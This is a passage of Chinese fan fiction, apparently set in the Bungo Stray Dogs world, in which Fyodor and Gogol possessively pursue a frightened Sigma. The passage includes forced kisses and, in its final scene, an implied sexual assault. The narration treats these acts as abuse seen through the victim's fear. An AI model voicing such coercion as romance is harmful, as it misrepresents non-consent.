良久,她才轻轻开口,声音细若蚊蚋,却清晰地落在果戈里的耳中: “……科里亚。” 这三个字轻得像羽毛拂过心尖,却让果戈里的身体猛地一僵。 他低头看着怀中人苍白的侧脸,看着她垂着的眼睫微微颤抖,像受惊的蝶翼,眼底的戏谑与强势瞬间褪去,取而代之的是一种近乎怔忪的茫然。 他从未想过,自己的名字从西格玛的唇间吐出,会是如此的柔软。 空气安静了几秒。 随后,果戈里低低地笑了起来,笑声里带着几分难以置信的雀跃,又藏着一丝连他自己都没察觉的温柔。 他松开捏着西格玛下巴的手,指尖转而轻轻拂过她的发顶,动作带着小心翼翼的试探,像是在触碰一件易碎的珍宝。 “真乖。”他的声音比刚才更柔了些,温热的呼吸扫过她的发旋,“这才是恋人该有的样子。” 西格玛没有抬头,也没有说话。她只是任由他抱着,任由他的指尖划过自己的发丝,身体里的每一寸肌肤都在叫嚣着恐惧,可她却连动都不敢动。 她能清晰地闻到他身上的气息,能感受到他胸膛的起伏,这份过于亲近的距离,让她几乎喘不过气。 果戈里似乎也不在意她的回应。他抱着她,微微偏头,鼻尖蹭了蹭她的鬓角,像是在撒娇的大型犬,语气里满是得意:“费奥多尔听到你这么叫我,一定会气歪脸的。” 他想起刚才西格玛喊“费佳”时那副理所当然的模样,心里就莫名地泛酸。 不过没关系,现在西格玛也有了只属于他的称呼,这是费奥多尔抢不走的。 “以后,只能这么叫我。”果戈里收紧手臂,将她抱得更紧了些,语气里带着几分霸道的占有欲,“不许叫果戈里先生,更不许像……” 他的话没说完,一阵细碎的脚步声便响起了。 果戈里的脸色微微一变,抬头看向走廊的尽头,眼底闪过一丝不悦。他知道,是费奥多尔来了。 他低头,在西格玛的额头上印下一个轻得像吻的触碰,声音压得极低,带着几分狡黠的笑意:“下次再继续我们的恋人游戏。” 话音未落,他的身影便随着斗篷的翻飞,化作一道扭曲的光影,消失在了原地。 西格玛怔怔地站在原地,怀里还残留着果戈里的温度,耳边似乎还响着他的笑声。 她缓缓抬手,指尖抚上自己的额头,那里还留着一丝微凉的触感。 走廊的拐角处,费奥多尔缓步走来,紫罗兰色的眼眸平静无波,却像藏着深不见底的寒潭。 他看着西格玛愣神的模样,想到刚刚果戈里的拥抱,给她的那个吻,以及所谓的‘恋人’。 “西格玛。”他轻声唤她,语气依旧温和,“文件整理好了吗?” 西格玛猛地回过神,像是被抓包的小孩,慌乱地低下头,指尖攥紧了衣角,声音带着一丝不易察觉的颤抖:“还、还没……费佳。” 费奥多尔看着她慌乱的样子,眼底的冰寒渐渐褪去,取而代之的是一丝极淡的笑意。 他缓步走到她面前,抬手,骨节分明的手指轻轻整理她鬓角略带凌乱的发丝,指尖不经意地擦过她的耳廓,带来一阵微凉的触感。 “没关系。”他的声音温柔得像哄小孩,尾音拖得长长的,像是在安抚,又像是在自语,“慢慢来。” 这句话像是说给她,也像是说给自己。 慢慢来,不急。 毕竟,猎物已经在网里了。 —————— 果戈里与费奥多尔之间的较劲,从不需要声张,只在无声的暗流里翻涌,却将所有的重量,都压在了西格玛的身上。 费奥多尔从不会直白地宣示主权,他的手段向来温和而致命。 会在西格玛汇报任务时,状似无意地替她理好凌乱的发丝,指尖擦过耳廓的温度带着不容错辨的占有。 会在果戈里借着空间异能突然现身,嬉笑着要将西格玛带离时,漫不经心地从书页间抬起眼,轻唤一声“西格玛”,那语调依旧轻柔,却能让果戈里眼底的戏谑瞬间淡去几分。 更会在她低头捡拾掉落文件的瞬间,俯身靠近,以“沾了灰尘”为借口,用指腹轻轻擦过她的唇角,指尖落下时,带着转瞬即逝的、近乎吻的触感,惊得西格玛浑身一颤,却只能僵着身子,连抬头的勇气都没有。 他总是这样,用最平静的姿态,不动声色地划定着界限,像一张无形的网,将西格玛牢牢护在自己的领域里,也牢牢锁在自己的掌控中。 在这场无声的博弈里,他永远是占尽上风的那一个,游刃有余,步步为营。 而果戈里,偏偏就喜欢这种棋逢对手的乐趣。 费奥多尔的每一次隐晦施压,在他眼里都像是一场有趣的邀约。 他变本加厉地纠缠着西格玛,不再是简单的恶作剧,而是带着更浓烈的侵略性。 会在她伏案工作时,突然从身后拥住她,下巴搁在她的肩头,温热的呼吸拂过耳畔,一遍遍低唤着“西格玛”。 会在费奥多尔的书房外,故意用空间异能制造出细微的波动,惹得里面的人侧目,却又在西格玛望过来时,笑得像个无辜的孩子。 更会在她试图躲闪时,骤然捏住她的下巴,俯身便吻下去,唇瓣擦过她的唇角,留下一个带着硝烟味的、霸道的印记,看着她瞬间煞白的脸,眼底翻涌着近乎疯狂的兴味。 他乐此不疲地挑衅着费奥多尔的底线,享受着这场关于“归属”的追逐游戏,哪怕次次落于下风,也依旧兴致盎然。 苦的只有西格玛。 她成了两人之间无声拉扯的唯一落点。 费奥多尔的温柔是裹着蜜糖的枷锁,让她在“家人”的名义下,不敢有半分逃离的念头。 果戈里的纠缠是带着荆棘的藤蔓,将她的日常搅得一团糟,每一次触碰都让她浑身紧绷,恐惧如影随形。 西格玛常常在深夜里怔忪,看着窗外沉沉的夜色发呆。 一个用温柔的网将她困住,一个用肆意的方式将她缠绕,他们的目光都胶着在她身上,带着她看不懂的、却足以将她吞噬的情绪。 西格玛垂着眼,指尖轻轻摩挲着冰冷的桌面,心底漫过一丝荒谬的茫然。 被两个这样的人,放在心上这般“惦记”着。 她需要感到荣幸吗? 果戈里与费奥多尔的这场博弈,从始至终,都没有半分在意过西格玛的感受。 是啊,本就该是这样的。 捕食者追逐猎物,向来只在乎猎物是否会落入自己精心编织的网,又怎么会去考虑猎物在网中挣扎时的恐惧与痛苦? 费奥多尔的温柔是算计好的陷阱,一句“家人”,一个个漫不经心的亲昵动作,看似是庇护,实则是用温情的丝线,将她牢牢缚在身边,让她在依赖中逐渐失去反抗的力气。 果戈里的纠缠是带着侵略性的把玩,那些突如其来的拥抱、霸道的亲吻,还有那句不容置疑的“恋人”,不过是他觉得这场追逐游戏有趣,便肆意地将她当做手中的玩具,逗弄着,拉扯着,全然不顾她僵硬的身体和眼底的惧意。 他们的示好,从来都不是因为在意她,只是因为她是这场博弈里,最亮眼的筹码。 自己不过是他们的玩具,一件随时可以抛弃的廉价玩具。 那些温柔的、热烈的、带着占有欲的举动,落在西格玛身上,都化作了沉甸甸的枷锁,勒得她喘不过气。 没有半分暖意,只有无尽的痛苦。 别再玩弄她了…… 这句话在心底翻涌了无数遍,像一根细刺,反复扎着西格玛的神经。 可她攥紧了衣角的指尖泛白,喉咙却像是被无形的手扼住,连一丝气音都发不出来。 她不敢对费奥多尔说。 不敢对着那双温柔含笑、却藏着深渊的紫罗兰眼眸,说出自己的哀求。 她更不敢对果戈里说。 不敢对着那个肆意妄为、视一切为游戏的男人,表露半分心中的抗拒。 她不相信他们,不信任他们其中的任何一个人。在她心里,对这两个人,从来都只有深入骨髓的恐惧。 西格玛将所有的情绪,恐惧、委屈、疲惫,尽数压进心底最深处,压得严严实实,像是在掩埋一个见不得光的秘密。 她默不作声地回到床上,掀开薄被躺下,身体陷进柔软的床垫里,却依旧觉得浑身发僵,每一寸骨头都透着寒意。 明天还要工作。 她闭紧双眼,一遍遍地在心里默念。 费奥多尔交代的情报还没整理完,那些堆积如山的文件还在等着她,她得早起,不能熬夜。 强迫自己不要去想那些令人窒息的纠缠,不要去想费奥多尔指尖的温度,不要去想果戈里带着硝烟味的拥抱。 那些事太痛苦了,想多了,连呼吸都会变得困难。 自己得赶紧睡了。 她蜷缩起身体,将脸埋进枕头里,鼻尖萦绕着布料淡淡的、冰冷的气息。 自己得睡了。 该睡了,西格玛。 3. 摆弄 日子还在继续,没有半分波澜,也没有半分喘息的余地。 他们换了一处安全屋,一路辗转,最终落脚在了俄罗斯。 这片广袤而寒冷的土地,是费奥多尔和果戈里的故土。 这里的风里带着雪的凛冽,空气里飘着白桦林的清冽气息,是他们所熟悉的气息。 而西格玛什么都没有。 她没有故土,没有过往,没有所谓的根。 她就像一粒随风飘散的尘埃,被无形的力量裹挟着,跟着他们来到这片陌生的土地。 于她而言,这场迁徙不过是换了个更冷的囚笼,换了个地方,继续无望地待着而已。 一切都没有变。 依旧是处理不完的文件,依旧是费奥多尔带着占有欲的温柔注视,依旧是果戈里突如其来的纠缠。 唯一不同的,是从云层碎碎絮絮落下的雪花。 是这片土地独有的、绵长到令人窒息的寒意。 西格玛对一切所知甚少。 就像她知道一年有春夏秋冬,知道冬天的温度会格外寒冷,还会下雪。 这是她在脑海中存在的,对这个世界最基本的认知。 但寒冷是什么感觉?西格玛从前并不知道。 西格玛第一次体会到寒冷,是在沙漠的夜晚。 白日里灼人的热浪褪去,刺骨的凉意从沙砾里丝丝缕缕地渗出来,缠上她单薄的衣摆。 她蹲在沙地上,把自己蜷成小小的一团,牙齿不受控地打颤,指尖冻得发麻,连呼吸都带着细碎的白雾。 西格玛望着漆黑的夜空,那里遍布着数不清的星子。 她有些疑惑,白天是夏天,晚上会是冬天吗? 没有人能告诉她答案,也没有人会对她说这些 后来,她跟着费奥多尔和果戈里,来到了遥远的俄罗斯。 这里没有沙漠的昼夜颠倒,却有着比沙漠夜晚更绵长的寒意。 依旧不是冬天,雪却长久地落着。 西格玛也依旧只能靠自己,一点点拼凑对这个世界的认知。 窗外的雪又飘了起来。 细碎的雪花像柳絮般纷飞,簌簌地落在窗棂上,很快便积起薄薄一层白。 西格玛坐在窗边的椅子上,指尖抵着冰凉的玻璃,看着那片纯白覆盖大地,将一切都染成静谧的颜色。 这是和沙漠完全不一样的光景。 沙漠的白日是灼人的,风里卷着沙砾,刮在皮肤上生疼,连呼吸都带着滚烫的焦灼,冷热交替的夜晚是寒冷的,冻得人瑟瑟发抖。 而这里的雪是冷的,是软的,是无声无息的,却能将一切都裹进一片苍茫里。 费奥多尔不知何时站在了她的身后,手中捧着一杯温热的红茶,氤氲的水汽模糊了他的眉眼。 他紫罗兰色的眼眸映着窗外的雪色,温柔得近乎虚假:“喜欢雪吗?西格玛。” 西格玛的身体瞬间绷紧,指尖微微蜷缩,她没有回头,只是低低地应了一声:“……还好。” 她能感受到费奥多尔的目光落在她的发顶,带着不容错辨的占有欲,像是在打量一件属于自己的藏品。 他轻声说道:“俄罗斯的雪,会下很久。以后,你会慢慢习惯的。” 西格玛的心沉了下去,她知道,费奥多尔所谓的“习惯”,并不只是单纯的字面意思,还蕴藏着更深的深意。 这句话像一道无形的枷锁,将她牢牢钉在了这片土地上。 远比空气中的寒意,更令人感到寒冷。 不远处的门边,果戈里倚着墙,黑白斗篷的衣角扫过地面,带起细碎的风。 他银霜色的眼眸里闪烁着兴味盎然的光,看着窗前相顾无言的两人,看着西格玛紧绷的脊背、僵硬的肩头,唇角勾起一抹戏谑的笑。 他没有上前,只是静静地看着,像是在欣赏一场有趣的戏剧。 毕竟,猎物的局促与不安,从来都是他最喜欢的风景。 雪花还在落着,无声地覆盖了窗外的世界,将一切都裹进一片纯白的假象里。 西格玛看着那片纯白,眼底却一片空茫。 这里的雪再美,也不是她的风景。 她依旧是什么都没有。 —————— 西格玛垂着眼,长睫像蝶翼般轻颤,指尖捏着文件的边角微微泛白。 她的声音平稳得近乎刻板,一字一顿地汇报着情报,每一个字都像是掐着精准的节拍,生怕泄露出半分不该有的情绪。 坐在椅子上的费奥多尔支着下巴,目光漫不经心地扫过文件上密密麻麻的字迹。 那些枯燥的数字与代号,于他而言不过是棋盘上的落子,掀不起半点波澜。 直到视线,落定在她的唇瓣上。 樱桃色的,像寒枝上挂着的、沾着晨露的禁果,饱满又脆弱。 正随着她说话的动作轻轻开合,弧度小巧而诱人。 真是可爱啊。 费奥多尔无声地勾了勾唇角,紫罗兰色的眼眸里漾开一层极淡的、带着占有欲的笑意。 他喜欢看她这样的模样。 明明骨子里藏着惶惑与不安,却偏要逼着自己摆出温顺妥帖的姿态。 像一只被剪去羽翼的鸟,困在他编织的网里,连挣扎都带着小心翼翼的讨好。 这种掌控感,远比任何情报都要令人愉悦。 费奥多尔缓缓起身,靴底踩在冰凉的地板上,没有发出半点声响。 像一头潜行的野兽,悄无声息地靠近了他的猎物。 费奥多尔的脚步声很轻,轻到西格玛完全没有察觉。 她的话音还没落下,下颌就被微凉的指尖轻轻捏住。 力道不重,却带着不容抗拒的强硬,迫使她微微抬头。 西格玛的呼吸顿了顿,眼睫猛地一颤。 她还没来得及反应,温热的触感就猝不及防地覆上了她的唇。 是费奥多尔的吻。 猝不及防的触碰让西格玛的瞳孔骤然收缩,握着文件的手猛地收紧,指节泛出青白。 她的身体瞬间绷紧,像一张被拉到极致的弓,却没有挣扎,只是僵硬地站在原地,连眨眼都忘了。 唇瓣上传来的温度陌生又灼热,带着红茶与白桦林冷霜混合的清冽气息。 他的吻带着不容拒绝的缱绻,轻柔地撬开她的齿关,将这个突如其来的亲近,一寸寸地加深。 呼吸在这刹那交织,温热的气流缠绕着,将两人之间的距离熨帖得只剩一片暧昧的灼热。 费奥多尔垂眸望着她,看着她骤然睁大的眼睛,眼底的惊惶像破碎的星子,一点点漫上来。 他的心情愈发愉悦。 看啊,这就是他的禁果。 明明怕得发抖,却连躲闪都不敢,只能乖乖地任他予取予求。 这种乖巧,比任何甜腻的滋味都要美味。 窒息感漫上来的时候,西格玛才后知后觉自已屏住了呼吸。 胸腔里的空气一点点被抽干,眼角泛起淡淡的红意,像染上了一层薄泪。 她能清晰地感受到费奥多尔的气息笼罩着她,带着不容抗拒的掌控力,将她整个人都裹进这令人窒息的温柔里。 西格玛只能死死收紧指尖,将所有的惊惶与无措都压在心底,连一丝呜咽都不敢溢出。 费奥多尔能察觉到她的隐忍。 肩头细微的颤抖,攥紧文件的指尖,还有那强忍着不发出声音的克制,每一个细节,都像羽毛般搔刮着他的心尖。 真有意思。 他想,她越是隐忍,就越是惹人想要欺负。 想看看这层温顺的外壳下,究竟藏着怎样的破碎与绝望。 直到费奥多尔终于松开她,西格玛才像被抽走了所有力气,肩头微微垮下。 她急促地喘息着,细密的汗珠沁出额头,顺着鬓角滑落,流过泛红的眼尾,就像泪珠。 她的唇瓣被吻得红肿,更像一颗熟透了的樱桃。 费奥多尔抬手,指腹轻轻摩挲着她泛红的唇角,指尖沾染上一点湿润的光泽。 他看着她隐忍的模样——垂着的眼睫抖得厉害,长长的阴影覆在眼睑上,遮住了眼底的情绪。 她垂着头不愿看他,连喘息都刻意放轻,像一只被驯服的小兽,明明怕得发抖,却不敢露出半点利爪。 真可爱。 费奥多尔低低地笑出声,声音里带着愉悦的喟叹。 指尖轻轻划过她的脸颊,指腹擦过她泛红的眼角,触感温热而柔软。 他的语气依旧温柔,却带着近乎残忍的笑意:“请继续,西格玛。” 西格玛的喉结滚了滚,好半天,才从喉咙里挤出一个极轻的字,带着浓重的鼻音,破碎得不成样子:“……是。” 费奥多尔满意地看着她重新拿起文件。 她的指尖还在发颤,却依旧努力维持着平稳的语调,一字一句地,继续汇报那些枯燥的情报。 费奥多尔的目光胶着在西格玛的指尖上。 那截白皙的指节还泛着用力后的青白,正随着她念出情报的节奏,不受控地轻轻颤抖。 像寒风中瑟缩的蝶翼,脆弱得仿佛一触就会折断。 他的笑容越发柔和,紫罗兰色的眼眸里漾着温润的光,像浸在温水里的宝石。 可那笑意深处,却藏着化不开的占有欲与满足。 他喜欢看她这副模样。 明明被惊扰得心神不宁,却偏要逼着自己维持体面,连指尖的颤抖都藏不住,却还要硬撑着把情报念完。 这种带着破绽的顺从,比全然的驯服更让他着迷。 就像那颗被他咬过一口的禁果,露出来的果肉带着青涩的颤栗,甜得更诱人。 指尖的颤抖,是她无法掩饰的慌乱。刻意平稳的语调,是她徒劳的隐忍。 这一切都清晰地告诉他,她的情绪、她的反应,全由他掌控。 真好。 费奥多尔的笑容柔得能滴出水来,指尖甚至下意识地微微蜷起,像是在隔空描摹她指尖的弧度,心底漫过一阵慵懒的餍足。 他想要的,从来都能轻易得到。 无论是权力,还是人心。 而眼前的西格玛,就是他最甘美的禁果。 带着隐忍的、易碎的甜,等着他慢慢品尝。 等着他,一点点地,彻底驯服。 —————— 夜色漫过窗棂,将房间晕染成一片沉寂的墨色。 费奥多尔是悄无声息进来的,踩着雪后特有的湿冷空气,带着一身白桦林的清冽气息。 他没有说话,只是掀开西格玛床尾的被子,坦然地躺了进去,与她隔着不远不近的距离。 紫罗兰色的眼眸在昏暗中敛去了平日里的算计,只剩下一片深不见底的平静,目光却始终胶着在她紧绷的侧脸上,带着西格玛所看不懂的情绪。 西格玛的身体瞬间僵成了一块冰。 她攥紧了身下的床单,指尖因为用力而泛白,连呼吸都放得极轻,生怕惊扰了身侧的人。 她不敢回头,不敢去看那双藏着深渊的眼睛,只能将脸埋进枕头里,鼻尖萦绕着的气息一半是布料的冰冷,一半是费奥多尔身上淡淡的茶香,那味道却让她浑身发冷。 这张床太大,也太冷。 费奥多尔的存在像一道无形的枷锁,将她牢牢困在这片狭小的空间里,动弹不得。 不知过了多久,窗外忽然闪过一道扭曲的光影,下一秒,果戈里的声音便带着几分戏谑的怨气响了起来:“费佳,你可真不够意思。” 他甚至没等费奥多尔回应,便大咧咧地掀开被子挤了进来,硬生生的将西格玛挤在了中间,黑白斗篷的衣角还沾着未化的雪粒,蹭得西格玛的手臂一阵冰凉。 果戈里显然是吃醋了,银霜色的眼眸里翻涌着孩子气的不满,他故意往西格玛那边靠了靠,温热的呼吸拂过她的脖颈,带着硝烟与雪的味道:“西格玛是我的恋人,凭什么你先占了位置?” 费奥多尔只是淡淡地瞥了他一眼,语气平静无波,却带着不容置疑的压制力:“尼古莱,安分点。” 果戈里撇撇嘴,却没再争辩,只是将下巴搁在西格玛的肩头,像只耍赖的大型犬,眼底却闪烁着兴味的光,打量着她僵硬得如同木偶的模样。 三个人挤在同一张床上,空气里弥漫着无声的较劲,只有西格玛,像被夹在两座冰山之间的猎物,连指尖都在微微颤抖。 在她眼里,费奥多尔的温柔靠近也好,果戈里的腻歪纠缠也罢,都和当年沙漠里那个想要侵犯她的人贩子头子,没有任何区别。 一样的步步紧逼,一样的不容抗拒,一样的将她的尊严踩在脚下。 反抗就会死。 这个念头像一根毒刺,深深扎在西格玛的心底。 从诞生在沙漠的那一刻起,她就学会了苟且偷生。 所以她不敢挣扎,不敢反抗,只能任由自己被这两个男人困在方寸之间,像一件没有生命的玩偶。 同床共枕,本该是这世上最亲密无间的事。 可西格玛连眼皮都不敢抬一下。 她死死地闭着眼,身体绷得笔直,心底的恐惧像潮水般汹涌,几乎要将她淹没。 费奥多尔身上的茶香也好,果戈里身上的硝烟味也罢,都成了让她窒息的气息。 她打心底里怕他们。怕费奥多尔温柔面具下的掌控,怕果戈里肆意妄为下的侵略,怕他们眼底那些她看不懂、却足以将她吞噬的情绪。 值得庆幸的是,两人没有做更多令西格玛感到害怕的行为。 夜色越来越深,窗外的雪还在簌簌落下,房间里却静得可怕。 西格玛蜷缩着身体,听着身侧两人平稳的呼吸声,只觉得一阵彻骨的寒意,从心底蔓延到四肢百骸。 —————— 从那天三人一同共眠之后,西格玛的日子变得愈发难熬。 原本只需小心翼翼应付一人的窒息感,彻底变成了要同时周旋于两人之间的煎熬,连片刻喘息的空隙都被彻底剥夺。 费奥多尔与果戈里像是达成了某种诡异的默契,又像是在进行一场无声的竞速。 他们总是同时出现,同时围在她身边,绝不让对方有半分单独与她相处的机会。 她处理文件时,费奥多尔会倚在桌旁翻阅书籍,指尖偶尔状似无意地拂过她的发顶。 果戈里便会立刻凑上来,用空间异能将文件瞬间转移到自己手中,逼着她抬头看向自己。 她用餐时,费奥多尔会为她添上一块糕点,语气温柔得近乎虚假,果戈里便会抢过她的餐具,亲自喂到她嘴边,眼底闪烁着戏谑的兴味。 他们从不让对方拥有单独与她相处的机会,每一次靠近都带着针锋相对的意味,却将所有的压迫感都尽数压在了西格玛身上,让她连呼吸都要反复斟酌,生怕一不小心就点燃两人之间的暗流。 这样的日子持续了许久,直到那天,费奥多尔将一份标着“紧急”的任务交给了果戈里。 任务地点遥远,果戈里不得不暂时离开。 临行前,他径直走到正低头整理文件的西格玛面前,无视了一旁静立的费奥多尔。 银霜色的眼眸里褪去了往日的顽劣,翻涌着复杂的情绪,有不舍,有占有,还有一丝不甘。 没等西格玛反应过来,他便伸出手,捏住她的下巴,强迫她抬头。 西格玛想后退,却被果戈里牢牢禁锢住,动弹不得。 下一秒,他俯身吻了下来。 不再是此前浅尝辄止的触碰,而是带着汹涌的侵略性,温热的唇瓣紧紧覆住西格玛的唇,堵住她未说出口的呜咽,舌尖毫不犹豫地撬开她的牙关,肆意掠夺着她口中的气息。 西格玛的身体瞬间僵住,瞳孔骤然收缩,心底的恐惧如潮水般汹涌而出。 她下意识地绷紧脊背,双手死死攥着衣角,指节泛白,连挣扎的勇气都没有。 在果戈里贴近的那一刻,她几乎是本能地屏住了呼吸,胸口憋得发闷,只觉得氧气被对方一点一点掠夺殆尽,窒息感死死包裹着她,让她浑身发麻。 这个吻带着浓烈的占有欲,也带着一丝离别的留恋,持续了许久才缓缓结束。 果戈里松开她时,西格玛脸色涨得通红,胸口剧烈起伏着,大口大口地喘着气,眼底还凝着未散的惊惧,眼眶泛着潮红,那并非半分羞涩,只是极致的窒息与恐惧带来的本能反应。 果戈里指尖轻轻摩挲着她被吻得泛红的唇瓣,目光灼热地盯着她,声音带着一丝不易察觉的沙哑:“不要忘记我哦,西格玛。” 那留恋的目光在她脸上停留了许久,才缓缓转向一旁的费奥多尔。 费奥多尔就站在不远处,身姿挺拔,周身萦绕着淡淡的寒意。 紫罗兰色的眼眸平静无波,脸上依旧挂着那抹温和的浅笑,坦然地与果戈里对视,眼底却藏着一丝冰冷的暗流,那是被触碰了领地的不悦,却被他完美地掩盖在温柔的面具之下。 果戈里看着他这副胸有成竹的模样,心中那股奇怪的情绪不甘、嫉妒、还有一丝隐秘的兴奋,瞬间交织在一起,最终化作一阵畅快的大笑。 他笑得张扬而肆意,笑声清脆又带着几分癫狂,回荡在房间里,打破了片刻的沉寂。 “费佳,等我回来啊。” 留下这句话,果戈里大笑着转身,黑白斗篷翻飞间,周身泛起空间扭曲的涟漪,身影转瞬便消失在了原地,只留下满室未散的硝烟味与西格玛急促的喘息声。 房间里重归寂静,西格玛还僵在原地,指尖依旧紧紧攥着衣角,胸口的起伏渐渐平缓,可心底的恐惧却丝毫未减。 那被掠夺气息的窒息感,还有唇瓣上残留的触感,都让她浑身发冷,连抬眼看向费奥多尔的勇气都没有。 费奥多尔缓步走近,衣摆擦过地板,带起一阵极轻的风。 他停在西格玛身侧,垂眸看着她还在微微起伏的胸口,看着她眼底未散的惊惧,声音里裹着恰到好处的担忧,像一汪温柔的潭水。 “你还好吗,西格玛?” 可那语气落在西格玛耳中,却像毒蛇吐信时的嘶鸣,冰冷的寒意顺着脊背攀援而上,瞬间缠绕住她的四肢百骸。 她攥紧衣角的指尖又用力了几分,指节泛白,连头都不敢抬,生怕对上那双藏着深渊的紫罗兰眼眸。 费奥多尔似乎毫不在意她的沉默,只是微微俯身,温热的气息拂过她的发顶,语气温柔得近乎蛊惑:“接下来这几天,果戈里都不会回来,你可以放心了。” 西格玛的心脏猛地一缩,随即不受控制地狂跳起来。 放心? 她在心底苦笑。 果戈里的离开,不过是送走了一头张牙舞爪的猛兽,却将她独自留在了另一头伪装成绵羊的凶兽身边。 费奥多尔的温柔从来都比果戈里的侵略更让人窒息,他的掌控藏在每一句看似关怀的话语里,藏在每一个看似无意的触碰里,密不透风,无处可逃。 有他在自己身边,她怎么可能放心? 西格玛的身体愈发僵硬,连呼吸都不敢大声,只觉得那道落在她身上的目光,正一寸寸地将她凌迟,将她彻底钉死在这名为“囚笼”的方寸之地。 和费奥多尔独处的这一天,西格玛从头到脚都绷着一根弦,连呼吸都带着小心翼翼的凝滞。 她埋首处理文件时,身后的沙发上始终坐着一道清瘦的身影。 费奥多尔捧着一本厚重的旧书,指尖漫不经心地划过泛黄的纸页,没有发出半点多余的声响,可西格玛却能清晰地感受到那道落在自己身上的目光。 平和、专注,却像一张无形的网,将她牢牢笼罩。 笔尖划过纸张的沙沙声成了房间里唯一的动静,她不敢抬头,不敢分神,生怕一个细微的动作,便会触碰到那双紫罗兰眼眸里深藏的算计。 晚餐时分,长桌两端隔着不近不远的距离。 费奥多尔慢条斯理地切着盘中的牛排,抬眸看向沉默进食的西格玛,语调温和得像在闲聊:“今天的菜,合你的胃口吗?” 西格玛握着刀叉的手微微一顿,随即低下头,轻轻点了点,声音细若蚊蚋:“很好吃。” 只有她自己知道,口中的食物味同嚼蜡,那些精心烹制的肉与蔬菜,滑过喉咙时只留下一片麻木的涩意,半点滋味都尝不出来。 夜色渐深,西格玛洗漱完毕,换上了一身素净的睡裙。 她推开卧室的门,一眼便看到了倚在床头的身影。 费奥多尔靠在软枕上,手里依旧捧着那本书,暖黄的灯光在他轮廓分明的侧脸上投下浅浅的光影,整个人看起来温和了不少。 西格玛没有惊讶,也没有惊恐,心底甚至漫过一丝果然如此的漠然。 这是迟早会发生的事。 果戈里不在的这些时间,费奥多尔绝不会放过任何一个将她彻底纳入掌控的机会。 她默不作声地走到床边,掀开被子的一角,安静地躺了进去。 起初,两人之间隔着一拳宽的距离,像一条泾渭分明的界线,可没过多久,身旁的人便合上书,放至床头柜。 床垫微微下陷,那道清瘦的身影缓缓向她靠近,最后,温热的胸膛贴上了她的脊背,有力的手臂穿过她的腰腹,将她牢牢搂进了怀里。 费奥多尔的力道很沉,带着不容抗拒的占有欲,下巴轻轻搁在她的颈窝处,温热的呼吸拂过她细腻的肌肤,带着淡淡的茶香。 西格玛的身体僵了一瞬,血液仿佛刹那冻结。 恐惧不是汹涌扑来的,而是从每一个被他触碰的毛孔钻入,沿着脊椎冰冷地蔓延。 她想像在沙漠里那样挣扎、嘶喊、抓挠,可最终,那僵硬在无声的窒息中化为更深的无力。 西格玛缓缓放松下来,却是一种坠入深渊般的松弛。 她睁着空洞的眼睛,怔怔地望着天花板上斑驳的光影。 窗外的雪还在簌簌落下,房间里静得能听到两人交叠的心跳声。 费奥多尔的怀抱很暖,却暖不透她心底的寒意。她就像一具没有灵魂的木偶,任由他抱着,任由那股名为占有的气息将自己彻底淹没。 西格玛早就明白,在这场名为掌控的游戏里,她从来都没有说“不”的资格。 反抗是无用的,恐惧亦是徒劳的。 可西格玛怎么可能不害怕呢? 恐惧裹挟着她的四肢百骸,吞噬着她的五脏六腑。 西格玛害怕费奥多尔。 害怕他的触碰,害怕他眼底翻涌的暗流,害怕自己彻底沦为他掌中的玩物,却连一丝反抗的力气都生不出来。 可自己除了接受,好像没有别的选择。 生存或者死亡,这是一个值得思考的问题。 费奥多尔并没有给西格玛过多的思考时间。 拥抱已经不能满足他了。 很快,他动了起来。 那只原本搭在她腰侧的手,指尖微微用力,带着不容错辨的侵略性,一寸寸向上游移。 他的呼吸依旧平稳,落在颈窝的热气却像是带着钩子,勾着她往更深的、名为绝望的泥沼里坠。 (删减) 不是带着硝烟味的掠夺,而是温水煮青蛙般的、无声无息的侵占。 那不是恋人之间的亲昵,而是一种带着掌控欲的标记,是将她视作所有物的宣告。 拥抱、亲吻、抚摸,西格玛都没有拒绝。 (删减) 她像一尊被抽走灵魂的木偶,四肢百骸都透着麻木的僵硬,连眼皮都懒得抬一下。 (删减) 他的手开始移动。 指尖先是停留在她腰间,隔着柔软的棉布睡衣,若有若无地划着圈,带着一种勘探的意味。 然后,手掌贴着她的侧腹缓缓上移,抚过肋骨,停在肩胛骨中间,再顺着脊椎的凹陷一路向下。 动作慢条斯理,充满了掌控者的从容。 柔软的睡裙被轻轻褪去,布料滑过肌肤的触感凉得刺骨。 西格玛的睫毛微微颤动了一下,却依旧没有反抗,甚至连一丝挣扎的念头都没有。 如果他想要得到自己的身体的话,那就拿去吧。 这个念头轻飘飘地浮现在脑海里,像一片没有重量的羽毛。 这一切和沙漠里被人贩子抓住时有什么不同呢? 西格玛怔怔地思考着。 同样的无力,同样的任人宰割,同样的,是深入骨髓的恐惧。 可又确实不同。 那个时候,自己至少反抗过。 那时的她还带着初生的懵懂与倔强,会拼尽全力地挣扎,会嘶哑着喉咙哭喊,会用指甲去抓挠那些肮脏的手,哪怕换来的是更凶狠的殴打,也从未放弃过逃离的念头。 可现在的她,连抬手的力气都没有了。 费奥多尔的拥抱很暖,怀抱很安稳,可这份温暖却比沙漠的烈日更灼人,比人贩子的拳头更让她绝望。 他用温柔做囚笼,用“家人”做枷锁,一点点磨掉了她所有的棱角与反抗的勇气,让她从一只挣扎的困兽,变成了一只认命的羔羊。 西格玛避开费奥多尔的视线,目光落在他垂落的黑色发丝上。 那发丝柔软顺滑,擦过她裸露的肌肤时,携来一缕若有似无的凉意。 就像费奥多尔这个人,温和的表象之下,蛰伏着能将人轻易吞噬的冰冷深渊。 眼前的男人,可以是掌控者,可以是操盘手,但唯独不可能,成为她的家人。 她甚至能闻到他身上淡淡的茶香混合着、像雪后松林般清冽的气息,那气息缠在她颈侧,像锁链,像绳结。 啊,因为自己选择了恶魔,所以要遭受恶魔的处刑吗? 西格玛愣愣的想着。 ……好恶心。 无论是费奥多尔此刻对她做的、那些令她费解又恐惧的举动,还是她自己此刻的模样…… ——一切都让她反胃到极致。 西格玛感觉自己正在裂成两半。 一半是这具正被仔细探索、被强行刻上他人印记的冰冷躯壳。 另一半是悬浮在上方、无比清醒却又无比麻木的意识,冷冷地注视着这一切。 恐惧,已经转化成一种更深层的东西。 是对自我□□失控的极致厌恶,是对灵魂被缓慢绞杀的清晰预感,更是对这份裹着“温柔”糖衣的暴行,生出的、彻头彻尾的绝望。 西格玛缓缓闭上眼睛,眼角有微凉的液体滑落,没入枕间,悄无声息。 费奥多尔似乎察觉到了什么,收紧手臂将她抱得更紧,下巴蹭了蹭她的发顶,声音温柔得近乎残忍:“别怕,西格玛。” 别怕。 可她怎么会不怕? 西格玛偏过头,望向窗外。 